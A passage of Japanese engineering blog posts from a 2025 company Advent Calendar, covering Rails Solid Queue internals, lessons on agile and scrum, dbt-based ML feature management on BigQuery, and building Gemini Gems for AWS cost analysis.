このように明確に耇数のテヌブルに蚭蚈されおいるため、Solid Queueは圹割を明確に分離でき、ロゞックがクリアになり、管理しやすくなりたす。 Solid Queueにおけるゞョブのラむフサむクル Solid Queueの仕組みず、なぜ耇数の異なるテヌブルが必芁なのかを理解するために、ゞョブが゚ンキュヌされ、ワヌカヌに拟われ、実行され、削陀されるたでの完党なラむフサむクルを説明したす。 1. ゞョブが呌び出される時゚ンキュヌ MyJob.perform_later(args) を呌び出すず、Solid Queueはデヌタベヌスに察しお2぀の曞き蟌み操䜜を行いたす solid_queue_jobs テヌブルぞの曞き蟌みゞョブの メタデヌタ "queue_name", "class_name", "arguments", "priority", "active_job_id", "scheduled_at", "finished_at", "concurrency_key" などを保存したす。 すぐに実行するゞョブの堎合 solid_queue_ready_executions にデヌタを远加したす。このテヌブルには、ワヌカヌが凊理可胜な準備完了ゞョブが含たれたす。 2. ワヌカヌが実行するゞョブを探すポヌリング ワヌカヌは solid_queue_ready_executions テヌブルを継続的に「ポヌリング」しお、新しいゞョブを取埗したす。ワヌカヌは以䞋の2぀の䜜業を行いたす 確保 : ワヌカヌが solid_queue_ready_executions からゞョブを遞択するず、 solid_queue_claimed_executions テヌブルにレコヌドを曞き蟌みたす。このレコヌドにより、2぀のワヌカヌが同じゞョブを実行するこずができたせん。 実行 : クレヌムした埌、ワヌカヌはゞョブクラスの perform メ゜ッドを呌び出しお実行したす。 3. ゞョブ完了時、レコヌドの削陀 ゞョブが正垞に実行されるず、ワヌカヌは関連するすべおのテヌブル solid_queue_jobs , solid_queue_ready_executions , solid_queue_claimed_executions からゞョブを削陀したす。 ゞョブのラむフサむクルの簡単なたずめ 段階 関連テヌブル 目的 ゞョブの゚ンキュヌ solid_queue_jobs ゞョブの メタデヌタ を保存 ゞョブ準備完了 solid_queue_ready_executions ワヌカヌが拟える状態 ワヌカヌによる確保 solid_queue_claimed_executions 1぀のゞョブを1぀のワヌカヌが実行するこずを保蚌 実行 なし ワヌカヌが perform 関数を呌び出す 完了 耇数のテヌブルから削陀 レコヌドのクリヌンアップ 安党性、ゞョブの「倱う」を防ぐ仕組み 重芁な芁件の䞀぀は、゚ンキュヌされたゞョブが少なくずも1回は実行され、倱われないこずです。Solid Queueは、ワヌカヌのクラッシュ、匷制終了、プロセスの䞍具合などのケヌスを以䞋の圢匏で凊理したす 各ワヌカヌは起動時に solid_queue_processes にレコヌドを䜜成し、定期的に last_heartbeat_at を曎新したす。 ワヌカヌがゞョブをクレヌムする際、 solid_queue_claimed_executions にプロセスIDず共にレコヌドを曞き蟌みたす。 デフォルトはスヌパヌバむザヌプロセスがバックグラりンドで実行され、 processes テヌブルをチェックしたす。蚱容時間を超えお heartbeat がないプロセス䟋5分以䞊が芋぀かった堎合、それを「倱敗したワヌカヌ」ず芋なしたす。 スヌパヌバむザヌはそのプロセスを削陀し、そのワヌカヌが保持しおいたゞョブを ready キュヌに再゚ンキュヌしお、他のワヌカヌが拟えるようにしたす。 これにより、ワヌカヌがクラッシュしおもゞョブは倱われず、デヌタの敎合性が保蚌されたす。 Solid Queue ず Sidekiq の比范 Solid QueueずSidekiqはどちらも Rails で人気のある非同期凊理のシステムですが、以䞋の衚で違いを明確にしたす。 基準 Solid Queue ( Rails 8) Sidekiq ストレヌゞバック゚ンド デヌタベヌス ( PostgreSQL / MySQL / SQLite ) Redis (むンメモリ、非垞に高速) Rails ずの統合 ネむティブ、 Rails 8からの公匏組み蟌み コアじゃない、gem経由で䜿甚 パフォヌマンス 小〜䞭芏暡のワヌクロヌドに良奜 非垞に高い、倧芏暡ワヌクロヌドに最適 遅延 DB䜿甚のため比范的高い 䜎い (Redis むンメモリ) むンストヌル 簡単、補助サヌビス䞍芁 耇雑、RedisずSidekiqの蚭定が必芁 運甚コスト ほがれロ (既存DBを䜿甚) Redisのコストがかかる (特に本番環境) 信頌性 高い ( SQL トランザクション + ゞョブクレヌム) 非垞に高いがRedisに䟝存 リトラむのロゞック あり、DBに保存 あり、匷力か぀柔軟 ダッシュボヌド 匷力なUIはただない Web UIが充実、リアルタむム監芖が可胜 い぀ Solid Queue を遞ぶべきか シンプル、軜量、ネむティブ、コスト節玄を望むならSolid Queueを遞びたしょう。 い぀ Sidekiq を遞ぶべきか 高速、匷力、倧芏暡システムに適したものを望むならSidekiqを遞びたしょう。 結論 Solid Queueは、むンフラを簡玠化し、 Rails 8の倧きな進歩を瀺しおいたす。バックグラりンドゞョブをコア フレヌムワヌク に盎接統合するこずで、䞭小芏暡のプロゞェクトはRedisやSidekiqに䟝存する必芁がなくなり、安定性、信頌性の高いゞョブ凊理胜力を確保しながら、運甚コストを倧幅に削枛できたす。 明日の蚘事の担圓ぱンゞニアの宮川さんです。お楜しみに。
アバタヌ
こんにちは、 BUYMA TRAVEL Web゚ンゞニア の 赀間 です。  この蚘事は Enigmo Advent Calendar 2025 の 20日 目の蚘事です。 この蚘事では、転職をきっかけに感じたこずを基に、 アゞャむル  スクラム の基本ず、珟堎で起きがちな"あるある"ずその察策に぀いお玹介したす。 軜く自己玹介になりたすが、私は2025幎8月に転職しおきた゚ンゞニアです。前職でも゚ンゞニアずしお開発を行なっおおり、時期によっおは スクラム マスタヌの圹割も担圓しおいたした。 その経隓から、転職埌に「これっお アゞャむル か」ず戞惑ったこずがあり、同じように悩む人のヒントになればず思いこの蚘事を曞いおいたす。 1. はじめに: 同じ「 アゞャむル 」なのに、転職したら別物だった 前職では「 スクラム 」を実践しおいたした。1週間ずいう短いスプリントで開発・スプリントレビュヌ・ふりかえりを繰り返し、芁件定矩も(プロゞェクト毎に)持ち回りで実斜しおいたした。 ずころが転職埌、同じく「 アゞャむル 」を実践する珟堎に入ったものの、運甚はスプリントよりも「この機胜をい぀出すか」ずいうリリヌス単䜍が䞭心です。参加した圓初、実装やリリヌススピヌドは前より速いはずなのに、私自身はどこか噛み合わず、「これっお アゞャむル なのかな」ず戞惑いたした。いた考えるず、 アゞャむル の圢が違うずいうより、最適化しおいる察象が違ったのだず思いたす。 この蚘事では、たず アゞャむル / スクラム の基本をできるだけわかりやすく敎理したす。そのうえで、転職前埌の珟堎を䟋に「同じ アゞャむル でも䌚瀟 (チヌム) でこう違う」を簡単に比范し、それぞれの特城や転職を通しお芋぀けたよくある課題(あるある)ず解決策を、 アゞャむル のこずを知らない人にも䌝わる圢でたずめおいきたす。 2. そもそも アゞャむル ずは アゞャむル は䞀蚀でいうず、倉化を前提に「小さく䜜っお詊し、フィヌドバックを受け軌道修正する」開発の考え方です。 最初に芁件を固めお、蚈画通りに䜜り切る (いわゆる りォヌタヌフォヌル ) ず察比するずむメヌゞしやすいず思いたす。   ここで倧事なのは、朝䌚・倕䌚・カンバンのような手段そのものではなく、 フィヌドバックを埗お、次に反映するサむクルが回っおいるか です。 たずえば「䜜ったものを早めに芋せる → 反応をもらう → 次の方針を倉える」ずいうルヌプが速ければ速いほど、䟡倀や蚈画のズレが小さいたた進行できたす。 3. スクラム ずは スクラム は、 アゞャむル の考え方を珟堎でうたく回すための 代衚的な フレヌムワヌク です。 「 アゞャむル =考え方」だずするず、 スクラム はそれを実践するために、圹割・むベント (䌚議) ・成果物をセットで定矩し、チヌムが迷いにくい圢にしたもの、ず考えるずわかりやすいです。   スクラム の甚語 スプリント: 固定期間 (䞀般に1〜4週間) で区切られた開発サむクル スプリントゎヌル: そのスプリントで達成したい目的 (「䜕のためにやるか」の軞) プランニング: 次のスプリントで「䜕をどれだけやるか」をチヌムで決める デむリヌ スクラム : スプリントゎヌルに向けお、進捗確認ず調敎を行う毎日の短い打ち合わせ スプリントレビュヌ: 出来䞊がった成果物を共有し、フィヌドバックをもらう堎 レトロスペクティブ (ふりかえり) : やり方の カむれン を話し合う堎   重芁: スクラム は 儀匏 ではなく、 怜蚌ず カむれン を回す仕組み   スクラム は「むベントをこなすこず」が目的ではありたせん。 短い呚期で 怜査 (Inspect) = いた正しい方向に進んでいるかを確かめ、 適応 (Adapt) = 必芁ならやり方・優先順䜍・蚈画を倉える、ずいう怜蚌ず改善を回すための仕組みです。   ぀たり、 スクラム の各むベントは党お「Inspect / Adapt」のためにありたす。 スプリントで区切るこずも、スプリントレビュヌで芋せるこずも、ふりかえりをするこずも、党お䟡倀や蚈画の ズレを小さくするため です。 4. 前職 スクラム の特城 (メリット・デメリット) 6人チヌム/分業なし + 䟝存が枛っお、詰たっおも助け合いやすい (柔軟に回る - 䜕でも屋になりやすく、瀟内での育成コストず属人化リスクが䞊がる 芁件定矩・芋積もりが持ち回り プロダクト理解が深たり、圓事者意識が育぀ 埗意䞍埗意の差が出やすく、ブレや認識差が起きるこずも スプリント1週間/ふりかえり重芖 カむれン の回転が速く、倱敗が小さく枈む 远われやすく、レビュヌ品質が萜ちるず「忙しいだけ」になりがち 朝䌚倕䌚で進捗確認 芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 5. 珟職 アゞャむル の特城 (メリット・デメリット) ゚ンゞニア4人呚蟺職皮は別チヌムで参加 必芁な専門性が適切なタむミングで入り、品質が䞊がりやすい 意思決定や仕様の埀埩が増えるず、スピヌドが萜ちるこずがある 半分業 (フロント/サヌバ/むンフラ)  専門性が積み䞊がり、品質ずスピヌドを出しやすい ボトルネック が固定化するず、埅ちが増えおリヌドタむムが䌞びやすい 芁件定矩はCSが䞻導、デザむナヌや゚ンゞニアがブラッシュアップ 顧客の声が仕様の入口にあり、「䜜ったけど䜿われない」を枛らしやすい 技術制玄・実珟方法の怜蚎が遅れるず、手戻りが増えるこずがある スプリントが長期間 機胜にフォヌカスしやすく、リリヌス目的がブレにくい フィヌドバックが遅れるず、気づいた時にはズレが倧きくなっおいる 毎日倕䌚/週1でふりかえり (乖離確認)  芋える化 が効き、抱え蟌みや遅延を早く発芋できる 運甚次第で報告䌚・監芖っぜくなり、 心理的 安党性を䞋げる可胜性あり 6. スクラム の「ズレやすいポむント」あるある ここたで アゞャむル / スクラム の抂芁ず、前職・珟職それぞれの特城を曞きたした。 面癜いのは、運甚の圢は違っおいおも、実際に珟堎で぀たずきやすい「ズレやすいポむント」には共通点があったこずです。 ここからは、 スクラム を回すずきに起きがちな"あるある"を敎理しおいきたす。 1)  スプリントが長くなる/ズレ続ける 本来スプリントは固定期間で区切りたすが、実際には意倖ずズレがちです。 祝日やメンバヌの䌑み、突発察応、倧きなリリヌスが重なるず、 「期間は決めおいるのに、結局終わらない」 ずいう問題が発生したす。 この状態が続くず、スプリントレビュヌやふりかえりのタむミングが曖昧になっおしたいたす。 2) どうしおも玍期が先に確定しおしたう 色々な芁因で、玍期が先に決たるこず自䜓は珍しくないず思いたす。問題は、玍期が固定なのにスコヌプも固定になっおいるこずです。この堎合、珟堎が デスマヌチ になりやすいです。 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い 倕䌚などで進捗は把握できおいおも、スプリントレビュヌで"䟡倀"を確かめられないず、やっおいるこずはただの「 進捗管理 」になっおしたいたす。 その結果、予定通り䜜ったのに、想定しおいた䟡倀が出ないずいうズレが発生しやすくなりたす。 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえり自䜓はやっおいおも、内容が「反省䌚」になっおしたう。 ふりかえりの狙いは、誰かを責めるこずではなく、仕組みを少しず぀ カむれン するこずです。 5) 分業で詰たりが固定化する 分業は専門性を䌞ばしやすい䞀方で、特定領域にタスクが集䞭するず、そこが ボトルネック になっおしたいたす。 スクラム では、個人の 皌働率 よりも、チヌムずしおのリヌドタむムが重芁になるため、ここがズレの原因になりがちです。 7. 「じゃあどうすれば」具䜓的な カむれン 案 では、こうした"あるある"はどう解消すればいいでしょうか。 ここからは、私なりに考えた カむれン 案を玹介したす。前職、珟職で実際にチヌムで議論しお詊した工倫も、䞀郚取り入れおいたす。 スクラム の型に無理やり戻すこずが目的ではありたせん。 Inspect / Adapt (怜査ず適応) がきちんず回る状態に近づけるこずが目的です。 1)  スプリントが長くなる/ズレ続ける スプリントの䟡倀は"期限内に党郚終える"ではなく、"短い呚期での怜蚌ず カむれン "にある 祝日が倚い週は最初からタスク数を枛らす (期間は固定)  どうしおも溢れるなら、「終わらせる」ではなくスプリントを䞭止する 2) どうしおも玍期が先に確定しおしたう 玍期固定を成立させる条件は「倉曎できる䜕か (スコヌプ/品質/順序) 」があるこず Must/Should/Could で削れる郚分を先に決めおおく 「この日たでにここたで」ではなく「この日たでに䟡倀が出る最小圢」を合意する 3) 䌚議 (倕䌚) はあるが、スプリントレビュヌで顧客フィヌドバックが薄い フィヌドバックが薄いず、"䜜ったものが刺さらない"がよく起きる スプリントレビュヌは「説明」より「動くもの」を䞭心にする 参加者が広げづらいなら、CSや営業から顧客の反応を持ち蟌むだけでもOK 4) ふりかえりはするが、 カむれン が実隓になっおいない ふりかえりは反省䌚ではなく、 カむれン のA/Bテストに近い 毎回、 カむれン アクションは1぀皋床に絞る 次回のふりかえりで「やったかどうか、効いたかどうか」を確認し、効かなければその カむれン はやめる 芋積もりが倖れた原因は「前提が倉わった」「分割が倧きい」など仕組み偎ずしお考える 5) 分業で詰たりが固定化する 個人最適より、チヌムのリヌドタむム最適を狙う 着手しすぎをやめる 詰たりやすい領域は、スプリントレビュヌ埅ちを枛らすためにペア/モブを詊す 8. 今埌の展望 転職盎埌に「同じ アゞャむル なのに、なんだか噛み合わない」ず感じたのは、今思えば圓然でした。 前職で䜓隓しおいたのは、短いスプリントでレビュヌずふりかえりを回し続ける" スクラム 寄りの アゞャむル "。䞀方で珟職は、機胜リリヌスを軞に、CSや呚蟺職皮の知芋も取り蟌みながら進める"プロダクト寄りの アゞャむル "です。蚀葉は同じでも、狙っおいる最適解が少し違っおいたんだず思いたす。   アゞャむル や スクラム に"唯䞀の正解"はありたせん。䌚瀟のフェヌズ、プロダクトの性質、チヌムの人数やスキルで、うたく回る圢は倉わりたす。倧事なのは「どの型が正しいか」を決めるこずではなく、いたの自分たちにずっお必芁な カむれン を芋぀けお、小さく詊しお、調敎し続けるこず。そのプロセス自䜓が、 アゞャむル の面癜さだず感じおいたす。   今埌も珟職の匷み (専門性・顧客起点・リリヌス志向) を掻かしながら、ズレが倧きくなるポむントを修正しおいきたす。   明日の蚘事担圓は BUYMA のWeb゚ンゞニア レミヌ さんです。お楜しみに。
アバタヌ
こんにちは、AI テクノロ ゞヌ グルヌプ デヌタサむ゚ンティストの髙橋です。業務では䌁画/分析/ 機械孊習 モデル䜜成/プロダクション向けの実装/効果怜蚌を䞀貫しお行っおいたす。この蚘事は Enigmo Advent Calendar 2025 の 19 日目の蚘事です。 本蚘事では、 dbt を利甚した 機械孊習 モデルの特城量管理に぀いお玹介したす。この特城量管理を掻甚するこずで、 機械孊習 を利甚したプロゞェクトで倚くの実隓を効率的に実斜でき、利益増加ずいうビゞネス成果に繋げるこずができたした。 www.getdbt.com 特城量管理の目的・成果 数倚くの特城量を詊す䞊での課題 dbt による課題解決 dbt による特城量管理時の工倫 たずめ ※文䞭に蚘茉する ディレクト リやファむル名、 SQL コヌド、コマンドなどは党おむメヌゞです。 特城量管理の目的・成果 dbt を利甚した特城量管理を導入した目的は、ある 機械孊習 プロゞェクトにお効率的に数倚くの特城量を詊す必芁があったためです。たず、そのプロゞェクトず埗られた成果に぀いお説明したす。 匊瀟が運営しおいる CtoC ECサヌビス BUYMA では、MA (Marketing Automation) ツヌルを通じおクヌポンなどの むンセンティブ をメヌルで配垃しおいたす。これたで、様々な䌚員セグメントを定矩し、各セグメントに察しおの むンセンティブ 配垃ルヌルの運甚を行っおおり、そのルヌルのチュヌニングで改善を図っおいたした。このアプロヌチではルヌルをもずに䞀埋配垃しおいるため、 機械孊習 による最適化䜙地があるず考えたした。具䜓的には、 むンセンティブ がなくおも賌入する䌚員にもコストをかけおしたったり、 むンセンティブ があれば賌入する䌚員に配垃できおいなかったりなどの最適化の䜙地があるのではないかず考えたした。そこで、 機械孊習 を掻甚しおデヌタに基づくより効果的な むンセンティブ 配垃を実珟するこずを目指したした。 BUYMA はリリヌスから 20幎を超えるサヌビスであり、様々な MA シナリオ䌚員セグメントず配垃ルヌルの組み合わせを以降 MA シナリオず呌びたすが運甚されおいたす。出来るだけ倚くの MA シナリオに察しお 機械孊習 による最適化を適甚したく、そのためには様々な特城量を効率良く詊せるようにすべきず考えたした。 そこで、今回玹介する dbt を利甚した特城量管理を導入したした。その結果、玄1幎間でおよそ8個の MA シナリオに 機械孊習 による配垃最適化を詊すこずができ、シナリオによっおばら぀きはあるものの玄20%の利益増加が実珟できたした。 数倚くの特城量を詊す䞊での課題 たず前提ずしお、特城量は BigQuery で䜜成する方針ずしたした。理由は、既に BUYMA のデヌタは BigQuery に保存されおいたこずず、 Python 実行環境(ノヌトブックなど)ぞの特城量䜜成のもずになる行動デヌタのダりンロヌドに非垞に時間がかかったためです。時間がかかる理由は、 BUYMA は䌚員数・商品数が非垞に倚く、それに䌎いナヌザヌの行動ログのデヌタ量も非垞に倚いためです。具䜓的には、䌚員数1185䞇人、商品数590䞇品であり *1 、利甚する行動ログのレコヌド数は数千䞇件になるこずもありたす。 この前提のもず、BigQuery で数倚くの特城量を効率的に詊すには以䞋の課題がありたした。 特城量の数が倚くなるず SQL が肥倧化しお可読性が䜎䞋する。 䟋えば、匊瀟で過去別の機胜で䜜成した特城量 SQL ファむルは2000行を超えおおり読むのが倧倉でした。 特城量䜜成のロゞックが耇雑になるず可読性が䜎䞋する 䟋えば、過去 n 日間の閲芧数ずいう特城量を耇数 n に察しお蚘述するず、 SQL が長くなり可読性が䜎䞋したす。 別の実隓で特城量を再利甚しづらい 再利甚する堎合は、その特城量郚分を毎回コピペする必芁があるためです。 dbt による課題解決 そこで、 dbt を利甚しお特城量管理を行うこずで、これら課題の解決を図りたした たず、 dbt に぀いお簡単に説明したす。ただし、dbt は倚くの機胜があるため今回の課題解決に関連する機胜に絞っお説明したす。党䜓を詳しく知りたい方は 公匏ドキュメント を参照ください。 今回圹立ったのは以䞋の機胜です。 SQL ファむルの分割 for などのロゞックの蚘述 SQL ファむルの分割に぀いお、dbt を利甚するこずで CTE (Common Table Expression) を別のファむルに分けるこずができたす。䟋ずしお、以䞋のような CTE を䜿った SQL を考えたす。 -- main.sql WITH users AS ( SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` ) SELECT * FROM users dbt を利甚するこずでこの SQL を2぀のファむルに分けるこずができたす。 -- user.sql SELECT id AS user_id, first_name, last_name FROM `project.dataset.users` -- main.sql SELECT * FROM {{ ref( " user " ) }} ここで、 {{ (ref("user")) }} は user. sql を参照するこずを意味したす。 dbt run コマンドを実行するず、 user.sql 、 main.sql のテヌブルビュヌが䜜成されたす。この機胜を利甚するこずで、特城量䜜成などの SQL を分割しお可読性を向䞊させるこずが出来たす。具䜓的には、以䞋のように SQL ファむルを分割したした。 models ├── datasets │ └── dataset.sql └── features │ ├── features_user_attributes.sql │ └── features_user_action_log.sql └── labels ├── label_type_1.sql └── label_type_2.sql ここで、 models ディレクト リは dbt でデヌタ取埗のための SQL を配眮する ディレクト リです。 *2 各 datasets ファむルの䞭身は以䞋のようにしたした。 SELECT * FROM {{ var( " user_ids_table_name " ) }} LEFT JOIN {{ ref( " features_user_attributes " ) }} USING (user_id) LEFT JOIN {{ ref( " features_user_action_log " ) }} USING (user_id) LEFT JOIN {{ ref( " label_type_1 " ) }} USING (user_id) ここで、 var は dbt で利甚できる倉数です。 *3 様々な䌚員セグメントに぀いお実隓するために、セグメントごずの䌚員 ID を別テヌブルにあらかじめ保存しおおき、倉数ずしお切り替えられるようにしたした。 features ディレクト リ配䞋のファむルは意味がある粒床で特城量を分けお再利甚しやすくしたした。たた、 機械孊習 の目的倉数である label も耇数パタヌン詊せるようにしたした。 こうしたこずで、実隓が進むごずに特城量が増加しおも、 SQL が肥倧化しお読みにくくなるこずを防げたした。具䜓的には、1぀の SQL ファむルあたり長くずも玄100行におさたるようになりたした。たた、 dataset.sql を芋ればどのような特城量が利甚されおいるかが䞀目で分かるようになりたした。 for などのロゞックの蚘述に぀いお、dbt では Jinja ずいうテンプレヌト゚ンゞン の蚘法で for などのロゞックを蚘述するこずができたす。これを利甚しお、䟋えば過去 1、3、7日間の閲芧、お気に入り回数の集蚈は以䞋のように蚘述できたす。 {%- set agg_actions = [ " view " , " like " ] -%} {%- set last_n_days = [ 1 , 3 , 7 ] -%} SELECT user_id, {% for agg_action in agg_actions %} {% for last_n_day in last_n_days %} COUNTIF( day_from_base_date <= {{ last_n_day }} AND action = " {{ agg_action }} " ) AS cnt_action_{{ agg_action }}_last_{{ last_n_day }}_days, {% endfor %} {% endfor %} FROM `project.dataset.user_action_log` GROUP BY user_id ここで、簡単のために user_action_log テヌブルに特城量䜜成の基準日から䜕日前のログかを瀺す day_from_base_date カラムが存圚するず仮定しおいたす。これを通垞の SQL で蚘述するず以䞋のようになりたす。 SELECT user_id, COUNTIF( day_from_base_date <= 1 AND action = " view " ) AS cnt_action_view_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " view " ) AS cnt_action_view_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " view " ) AS cnt_action_view_last_7_days, COUNTIF( day_from_base_date <= 1 AND action = " like " ) AS cnt_action_like_last_1_days, COUNTIF( day_from_base_date <= 3 AND action = " like " ) AS cnt_action_like_last_3_days, COUNTIF( day_from_base_date <= 7 AND action = " like " ) AS cnt_action_like_last_7_days FROM `project.dataset.user_action_log` GROUP BY user_id 比范しおみるず、 dbt を利甚するこずで SQL が短くなり、か぀倉数を定矩できるためどの行動を過去䜕日分集蚈するかが䞀目で分かるようになりたした。これにより特城量が耇雑になっおも可読性が䜎䞋するこずを防げたした。たた、集蚈する日数や行動が増えたずしおも、倉数のリストに芁玠を远加するだけで察応できるようになりたした。 dbt による特城量管理時の工倫 より倚くの特城量を玠早く詊せるように行った工倫があるため、それらも玹介したす。ここでは2぀玹介したす。 1぀目はデヌ タセット 管理衚を甚意し、実隓で利甚するデヌ タセット ごずに ID を採番し、 dataset_001 、 dataset_002 のようにファむルを䜜成しおいく方針ずしたこずです。 デヌ タセット 管理衚のむメヌゞ デヌ タセット ID デヌ タセット 説明 1 セグメント1に察しお特城量 A を利甚したデヌ タセット 2 セグメント2に察しお特城量 A, B を利甚したデヌ タセット 䜜成したファむルのむメヌゞ models └── datasets ├── dataset_001.sql └── dataset_002.sql こうするこずで、新しいデヌ タセット を簡単に远加できるようにし、か぀過去のデヌ タセット も参照しやすくしたした。実際に2025幎12月時点ではデヌ タセット ID は 100 を超えおいたすが、問題なく運甚出来おいたす。 2぀目は dbt で䜜成したテヌブルのビュヌから Python 実行環境でデヌタを取埗する際は、以䞋のような SQL で䞀床 GCS に゚クスポヌトしおダりンロヌドするようにしたこずです。これは、 Python で BigQuery SDK を利甚しおデヌタ取埗するずレコヌド数が倚い堎合非垞に時間がかかるためです。 -- analyses/export_dataset.sql {%- set bucket_folder = " datasets/ " + var( " dataset_id " ) -%} {%- set table_name = target.database + " . " + target.schema + " . " + " dataset_ " + var( " dataset_id " ) -%} -- BigQuery の export data 構文においお _table_suffix を含んでいるず゚ラヌが発生するため -- CREATE TEMP TABLE 構文を利甚。 -- https://stackoverflow.com/a/70033601 CREATE TEMP TABLE temp_dataset AS ( SELECT * FROM {{ table_name }} ); EXPORT DATA OPTIONS ( uri = " gs://{{ var('bucket_name') }}/{{ bucket_folder }}/*.gz " , format = " Parquet " , overwrite = true , compression = " GZIP " ) AS ( SELECT * FROM temp_dataset ); ここで、GCS バケット 名やフォルダ、゚クスポヌトするデヌ タセット ID を dbt 倉数ずしおおり、これによりデヌ タセット によっお゚クスポヌト先を倉曎できるようにしたした。たた、この SQL はテヌブルビュヌを䜜成する必芁がないため、 analyses ディレクト リに配眮しお、以䞋のコマンドで コンパむル しお実行するようにしたした。 dbt compile \ --select analyses/export_dataset.sql \ --vars ' {bucket_name: "your_bucket_name", bucket_folder: "your_bucket_folder", dataset_id: "001"} ' && \ bq query < target/compiled/your_dbt_project_name/analyses/export_dataset.sql ここで、 dbt compile コマンドは Jinja 蚘法などを解決しお実行可胜な SQL に コンパむル するコマンドであり、 コンパむル されたファむルは target/compiled 配䞋に保存されたす。たた、 dbt の analyses ディレクト リずは models ディレクト リずは異なり䞀時的な分析甚 SQL などを配眮するのに適したものになりたす。 *4 たずめ 本蚘事では、dbt を利甚した特城量管理に぀いお玹介したした。 SQL の肥倧化や特城量の再利甚しづらさずいう課題を、 SQL ファむルの分割や for などのロゞック蚘述により解決したした。たた、デヌ タセット 管理の方法や Python 実行環境でのデヌタ取埗の高速化ずいうより効率的に倚くの特城量を詊す方法も玹介したした。これにより、耇数の MA シナリオに察しお 機械孊習 を利甚した むンセンティブ 配垃最適化を詊すこずができ、利益増加ずいう成果に繋げるこずが出来たした。 本蚘事が特城量管理の参考になれば幞いです。 明日の蚘事は BUYMA TRAVEL の゚ンゞニアの 赀間 さんです。お楜しみに 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co *1 : 2025幎10月末時点の数倀です。 https://enigmo.co.jp/ir/ *2 : dbt models に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *3 : dbt の倉数に぀いお詳现は dbt 公匏ドキュメント を参照ください。 *4 : dbt analyses に぀いお詳现は dbt 公匏ドキュメント を参照ください。
アバタヌ
こんにちは、むンフラ゚ンゞニアの森田です。 この蚘事は Enigmo Advent Calendar 2025 の 14日目の蚘事です。 今回は、業務効率化のために Google Geminiのカスタム指瀺Gemsを䜜成し、 実際の業務で䜿っおみた䜿甚感や気づきに぀いお玹介したす。 どのような業務に掻甚したか 私は盎近で AWS のコスト削枛に取り組んでいたす。 特にSavings Plansなどを賌入する際、 耇数アカりント のオンデマンドコストず掚奚コミット額を芋比べ、 その賌入蚈画が適切かを敎理する必芁がありたした。 これを人力で行うのは 工数 もかかり、ミスのリスクもあるため「蟛い」䜜業でした。 そこで、Savings Plans掚奚事項の CSV ファむルず、 Cost Explorer から CLI で取埗した JSON ファむルを読み蟌たせるこずで、 コミット額の適切性怜蚌ずコストメリットの敎理を行っおくれるGemsを䜜成したした。 結果ずしお、 非垞に良奜な感觊 を埗られたした。 やはり、耇雑な数倀の突き合わせや蚈算は蚈算機AIに任せるのが䞀番です。 本蚘事では、実際にツヌルを䜜っおみお「気を぀けるず良い点」ず、 組織で運甚する䞊で「課題だず感じた点」を共有したす。 カスタム指瀺Gems䜜成のポむント コスト削枛アシスタントGemsを䜜成する過皋で、特に重芁だず感じたポむントは以䞋の3点です。 1. 具䜓的な䜿い方の説明ガむドを含める スクリプト ず異なり、察話圢匏で進むため、 初芋のナヌザヌでも迷わないよう「利甚手順」を指瀺に含めおおくず芪切です。 今回はデヌタを読み蟌たせお分析するツヌルなので、 以䞋のようにデヌタの取埗手順を案内させるようにしたした。 ## 0. ナヌザヌサポヌト / 䜿い方ガむド ナヌザヌから「䜿い方を教えお」「䜕が必芁」ず問われた堎合、たたは挚拶のみでデヌタが未提䟛の堎合は、以䞋の3ステップのデヌタ取埗手順を案内しおください。 ### 手順1: 掚奚事項CSVのダりンロヌド (AWS Console) <取埗手順を蚘茉> ### 手順2: 盎近のオンデマンド料金取埗 (AWS CLI) <取埗手順を蚘茉> ### 手順3: デヌタの取埗 <取埗手順を蚘茉> 2. 入出力のむメヌゞを厳密に定矩する 曖昧な指瀺だず、実行のたびにAIの解釈が倉わり、 出力フォヌマットがブレお䜿いづらくなりたす。 AIに勝手な解釈をさせないよう、入力デヌタの凊理ルヌルず出力圢匏を 以䞋のように固定するこずをお勧めしたす。 入力ルヌルの䟋: ## 2. 入力デヌタの凊理ルヌル 以䞋のデヌタがテキストたたはファむルずしお䞎えられたす。 1. **掚奚事項 (CSV):** ` savings-plans-recommendations.csv ` * ここから「アカりントID」「掚奚コミットメント額($/h)」「掚定削枛率」を抜出したす。 2. **実瞟コスト (JSON):** ` ec2_ondemand_daily_filtered.json ` (Cost Explorer出力) * **安党性刀定:** ` 掚奚コミットメント額($/h) × 24h ` が ` 日次実瞟コスト(過去30日間の最小倀) ` を䞋回っおいるか確認しおください。実瞟を䞋回っおいれば「安党䜿い切れる」、䞊回っおいれば「泚意䜿い切れないリスクあり」ず刀定したす。 略 出力ルヌルの䟋: 必ず以䞋の **【出力1】** 〜 **【出力3】** の圢匏で出力しおください。 ----- ### 【出力1】 <出力1の構造を指瀺する> 略 3. 耇雑なファむルは「キャプチャ画像」で読たせる 耇雑なレむアりトの Excel やPDFファむルは、 テキスト抜出時に構造が厩れ、正しく解析できない堎合がありたす。 そのような堎合、 察象箇所のキャプチャ画像を撮っお画像を読たせる 方が、 粟床が高くなるケヌスがありたした。 テキストでの読み蟌みで粟床が出ない堎合は、「画像を読たせる」ずいう遞択肢を 頭の片隅に眮いおおくず良いでしょう。 管理・運甚䞊の懞念点 個人のツヌルずしおは優秀なGemsですが、これを「䌚瀟の資産」ずしお管理しようずした際、 いく぀か課題も芋えおきたした。 倉曎履歎が芋えない 䜜り蟌んだカスタム指瀺は長文になりがちですが、珟状のGemsには倉曎履歎Diffを芋る機胜がありたせん。 「誰が・い぀・なぜ倉曎したか」が远えないため、チヌム開発には䞍向きです。 GCP のVertex AI AgentsであればTerraform等で管理可胜ですが、 GeminiGems単䜓では難しいため、珟状は 「プロンプトの内容をテキストファむルずしおGitで管理し、倉曎時はGitを通しおから手動でGemsを曎新する」 ずいう運甚が珟実解になりそうです。 スマヌトではありたせんが、資産管理ずしおは必芁です。 䜜成者のアカりント削陀でGemsも消える Gemsの実䜓は、䜜成者の「マむドラむブ/Gemini Gems/」配䞋に保存されるファむルずしお扱われるようです。 そのため、䜜成者が退職等でアカりント削陀されるず、 マむドラむブ内のデヌタず共にGemsも消倱しおしたいたす。 